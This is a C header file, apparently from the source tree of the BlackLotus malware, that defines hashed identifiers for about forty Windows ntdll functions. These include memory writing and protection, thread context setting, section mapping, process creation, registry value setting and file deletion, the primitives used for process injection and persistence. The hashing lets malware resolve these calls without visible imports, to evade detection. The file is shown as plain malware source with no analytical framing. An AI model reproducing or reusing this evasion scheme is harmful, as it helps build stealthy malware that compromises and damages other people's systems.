BlackLotus/src/Shared/ntdll_hash.h

45 lines
2.0 KiB
C

#ifndef _NT_HASH_H_
#define _NT_HASH_H_
#define HASH_NTDLL 0x26797e77
#define HASH_NTDLL_RTLGETVERSION 0xb46508b5
#define HASH_NTDLL_RTLRANDOMEX 0x9ab4737e
#define HASH_NTDLL_NTCREATETHREAD 0xca6b0d7b
#define HASH_NTDLL_NTQUERYINFORMATIONPROCESS 0xa5c44c50
#define HASH_NTDLL_NTCREATEUSERPROCESS 0x05aaa327
#define HASH_NTDLL_NTMAPVIEWOFSECTION 0xa4163ebc
#define HASH_NTDLL_NTCREATESECTION 0x9eee4b80
#define HASH_NTDLL_LDRLOADDLL 0x183679f2
#define HASH_NTDLL_LDRGETDLLHANDLE 0xe21c1c46
#define HASH_NTDLL_NTWRITEVIRTUALMEMORY 0xe4879939
#define HASH_NTDLL_NTALLOCATEVIRTUALMEMORY 0xe0762feb
#define HASH_NTDLL_NTPROTECTVIRTUALMEMORY 0x5c2d1a97
#define HASH_NTDLL_NTDEVICEIOCONTROLFILE 0x5c8e65ac
#define HASH_NTDLL_NTSETCONTEXTTHREAD 0xe1453b98
#define HASH_NTDLL_NTOPENPROCESS 0xdbf381b5
#define HASH_NTDLL_NTCLOSE 0x0d09c750
#define HASH_NTDLL_NTCREATEFILE 0x3ee6cc56
#define HASH_NTDLL_NTOPENFILE 0xa1b1dc21
#define HASH_NTDLL_NTDELETEFILE 0xff9bc7af
#define HASH_NTDLL_NTREADVIRTUALMEMORY 0x81223212
#define HASH_NTDLL_NTQUERYVIRTUALMEMORY 0x03f6f38c
#define HASH_NTDLL_NTOPENTHREAD 0xb7a26d79
#define HASH_NTDLL_NTQUERYINFORMATIONTHREAD 0x31133574
#define HASH_NTDLL_NTRESUMETHREAD 0x6273b572
#define HASH_NTDLL_LDRINITIALIZETHUNK 0xfcea01e0
#define HASH_NTDLL_NTFREEVIRTUALMEMORY 0xe9d6ce5e
#define HASH_NTDLL_NTFLUSHINSTRUCTIONCACHE 0x85bf2f9c
#define HASH_NTDLL_NTSETINFORMATIONTHREAD 0x466f2056
#define HASH_NTDLL_NTQUERYSYSTEMINFORMATION 0x97fd2398
#define HASH_NTDLL_LDRQUERYPROCESSMODULEINFORMATION 0xa1b699e6
#define HASH_NTDLL_RTLINITUNICODESTRING 0x7aa7b69b
#define HASH_NTDLL_NTWRITEFILE 0x3afbe45b
#define HASH_NTDLL_NTREADFILE 0xa2c81105
#define HASH_NTDLL_NTDELAYEXECUTION 0xf5a86278
#define HASH_NTDLL_NTOPENKEY 0xa6951756
#define HASH_NTDLL_NTSETVALUEKEY 0xa566a93e
#define HASH_NTDLL_NTQUERYVALUEKEY 0x55ba7014
#define HASH_NTDLL_RTLFORMATCURRENTUSERKEYPATH 0x7fa58340
#define HASH_NTDLL_NTQUERYINFORMATIONFILE 0xf675d37d
#endif